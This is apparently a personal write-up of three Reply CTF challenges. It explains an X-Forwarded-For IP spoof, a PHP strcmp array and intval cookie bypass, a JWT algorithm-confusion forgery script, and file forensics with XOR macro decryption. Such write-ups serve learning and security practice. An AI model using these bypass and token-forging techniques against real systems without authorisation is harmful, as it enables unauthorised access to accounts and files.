Reply held their annual cybersecurity challenge again this year, except for this year it was a 'Capture The Flag Edition', a Jeopardy style, 24 hour, team competition with twenty five challenges which were divided into five categories. They had some great prizes up for grabs, including gaming laptops and VR headsets, so I got involved!

This is my write-up for some of the challenges I took part in during the Reply CTF this year. Some challenges were logical and had a flow to them whereas some didn't, overall it was a good CTF and I'll look forward to it next year.

Slingshot (Web 100)

The challenge description says that we need to gain access to the platform. Browsing to the page we see the message "Access is only permitted from within our corporate network!". This means that the server wants the origin to the request to be from an IP address in the internal network. One way to go about this would be to use the X-Forwarded-For HTTP header. This header is usually used when routing requests through proxies such that the server can identify the origin IP address of the request.

But which IP address do we use? We already know that there are only a set of private IP addresses which can be used fir internal networks or LAN.

    192.168.0.0 - 192.168.255.255 (65,536 IP addresses)
    172.16.0.0 - 172.31.255.255 (1,048,576 IP addresses)
    10.0.0.0 - 10.255.255.255 (16,777,216 IP addresses)

So, I started trying various addresses hoping to hit the gateway and luckily 192.168.0.1 worked and let us into the "Flight Simulator".

Running gobuster with various archive extensions (zip, tar, rar) we found the file backup.tar which was instead a zip archive. This file contained the source code for index.php and protected.php page. Here's a snippet from the index.php page:

<?php
session_start();

require_once("../inc/functions.inc.php"));

$error = null;

if ($_POST) {
    $pwd = get_password_by_name($_POST['user']);

    if ($_POST['username'] && !empty($_POST['username']) && $_POST['username'] === 'admin') {
        $error = 'Direct admin login not allowed';
    } else if ($_POST['password'] && !empty($_POST['password']) && strcmp($_POST['password'], $pwd) == 0) {
        
        $uid = get_uid_by_name($_POST['username']);
        $_SESSION['username'] = $_POST['username'];
        setcookie("uid", $uid);
        header('Location: protected.php');
        die();

    } else {
        $error = "Authentication Failed";
    }
}
?>

Looking at the code, we see that we can't use the username "admin" to login. The second condition for the password check uses the strcmp operator to compare the input password. We can see that it uses "==" instead of "===" which isn't a strict comparison. To bypass this, we can send a request with a password array instead of string due to which strcmp will just fail with a warning and bypass the password check. After logging in the page returns our "uid" in a cookie and redirects to protected.php. Here's the successful login request.

Following the redirect to protected.php we see the message as show below:

Let's look at protected.php and find out how it works.

<?php
session_start();

if (!isset($_SESSION['username'])) {
	header('Location: index.php');
    die();
}

$uid = $_COOKIE['uid'];
$error = null;

if ($uid == "1" && $_SESSION['username'] !== 'admin') {
    $error = "Only admin user is allowed to have uid 1";
}

if (intval($uid) !== 1) {
    $error = "Only admin user is allowed to use this function";
}


?>

It gets the $uid from the cookies and checks if uid is equal to 1, as our username cannot be admin, that check will always fail. It then uses the intval() function to convert the uid to an integer and compares it to 1. The catch here is that the variable $uid inherently is a string, if we look at the inval() documentation here, we find this:

According to it, using intval() on strings will always return 0 BUT the cast also depends on the left most character. For example:

Using intval() on the string "a1" returned 0, while using "1a" returned 1. This is because the leftmost character in "1a" is 1 which is a valid int. With this knowledge, we can set the uid cookie to "1a" which makes the $uid string to be 1a and fails the first condition i.e $uid == "1" but is later converted to the integer 1 and passes the second check.

File Rover ( Web 200 )

Here's the challenge description:

During lift-off preparation, the main engine hydrogen burnoff system  (MEHBS) activation fails. R-Boy gets stuck trying to restore an  encrypted back-up of the MEHBS. Another crew member remembers the key is  stored on a remote file sharing service. Without a working MEHBS the  liftoff cannot continue. Can you help R-Boy find the key for the MEHBS  back-up?

The HTTPS page just provides two downloads for an image and a text file.

Clicking on a button and intercepting with Burp, we see it calling download.php with a parameter which looks like a JWT cookie.

Meddling with the cookie a bit returns an error.

Lets decode the fields and see what they contain.

$ echo 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9' | base64 -d
{"typ":"JWT","alg":"RS256"}

$ echo 'eyJmaWxlbmFtZSI6IjdiNDIxZGYxMWE1M2UzM2Q5MjllZjRjMDI1Zjc5ZjgzIn0' | base64 -d
{"filename":"7b421df11a53e33d929ef4c025f79f83"}

The first JSON shows that the algorithm used to sign is RS256 while the second contains a key named "filename" with a value which seems to be a hash. After a bit messing around the value turned out to be the MD5 hash of the filename i.e "future.jpg".

$ echo -n "future.jpg" | md5sum
7b421df11a53e33d929ef4c025f79f83  -

The third part of the token is the signature. The RS256 algorithm uses RSA key pairs to sign and validate the JWT. As the description says, the keys are lost so we can't create a cookie and sign it. I found this section on PayloadAllTheThings which shows how to convert RS256 to HS256. However, we need the public key to do that. How do we find that?

If you remember the website given to us was HTTPS. Maybe the public key used to make the certificate is reused to sign the cookies. I exported the certificate using firefox and then extracted the public key using openssl.

openssl x509 -in web200_ctf_reply_com.crt  -pubkey -noout > pubKey.pem

Next, installed pwjwt version 0.4.3 as instructed by the page. The following script created the HS256 signed JWT cookie.

import jwt
public = open('pubKey.pem', 'r').read()
print jwt.encode({"filename":"7b421df11a53e33d929ef4c025f79f83"}, key=public, algorithm='HS256')

Running this returned the JWT cookie as: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmaWxlbmFtZSI6IjdiNDIxZGYxMWE1M2UzM2Q5MjllZjRjMDI1Zjc5ZjgzIn0.SM6YzYDW7mR9sA9F9BeetF4bJSH6SMaVoNnX0L61jmw

Requesting the file future.jpg using this new JWT:

There;s no error and the image is returned. Now the same script can be used to create the JWT cookie which gives us flag.txt.

import jwt
from hashlib import md5
public = open('pubKey.pem', 'r').read()
print jwt.encode({"filename": md5("flag.txt").hexdigest() }, key=public, algorithm='HS256')

Using the generated key gave us the flag.

Deep Red Dust ( Misc 200 )

We get a file which isn't recognized to be of any particular type. Looking at the hexdump a non-standard header is seen.

The first four bytes are set to "RBOY" , however the string "IHDR" after that reminded me of a PNG header. I used hexedit to quickly swap the first four bytes with 89504e47.

After which the file was recognized as a PNG file.

Here's what the image was:

We see a string written at the bottom which says "K33pItS3cr3t" which looks like a password. Running binwalk on the file showed that there's a Goodbye.docm embedded in it.

Using the -e flag to extract it, we got a a password protect zip file with the docm file in it.

The .docm extension is used for MS Word docs with macros enabled. We can use oletools to extract the macro code.

$ olevba Goodbye.docm 
olevba 0.54.2 on Python 2.7.16 - http://decalage.info/python/oletools
===============================================================================
FILE: Goodbye.docm
Type: OpenXML
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls 
in file: word/vbaProject.bin - OLE stream: u'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Private Sub CommandButton1_Click()
If Not (TextBox1.TextLength = 0) Then
Dim tbox As String
tbox = TextBox1.Text
Dim encrypt As Variant
encrypt = Array(52, 54, 60, 40, 72, 64, 42, 35, 93, 26, 38, 110, 3, 47, 56, 26, 64, 1, 49, 33, 71, 38, 7, 25, 20, 92, 1, 9)
Dim inputChar() As Byte
inputChar = StrConv(tbox, vbFromUnicode)
Dim plaintext(28) As Variant
Dim i As Integer
For i = 0 To 27
plaintext(i) = inputChar(i Mod TextBox1.TextLength) Xor encrypt(i)
Next
MsgBox "Congrats!!"
End If
End Sub

The macro takes the input from a text box and uses it to XOR the encrypted flag to obtain the plaintext. The flag format was already known to be {FLG:<flag>}. So, we already had the first five letters from the flag. This can be used to recover a part of the key.

python
Python 2.7.16 (default, Oct  7 2019, 17:36:04) 
[GCC 8.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import sys
>>> encrypt = [52, 54, 60, 40, 72]
>>> flag = "{FLG:"
>>> for i, j in zip(encrypt, flag):
...   sys.stdout.write(chr(i ^ ord(j)))
... 
Oppor

The first five characters of the key are "Oppor". Due to the Mars themed challenge, we guessed the password to be "Opportunity" and it worked!

>>> encrypt = [52, 54, 60, 40, 72, 64, 42, 35, 93, 26, 38, 110, 3, 47, 56, 26, 64, 1, 49, 33, 71, 38, 7, 25, 20, 92, 1, 9]
>>> key = "Opportunity"
>>> 
>>> for i in range(len(encrypt)):
...   sys.stdout.write( chr(encrypt[i] ^ ord(key[ i % len(key) ])))
... 
{FLG:4_M4n_!s_Wh4t_H3_Hid3s}

Thank you for reading my write-up, I hope you managed to glean some knowledge from it! If you have any questions for me, find me on twitter and ask me there.

Tony Babel - La Cucaracha
The awesome GIF used in this article is called La Cucaracha and it was created by Tony Babel.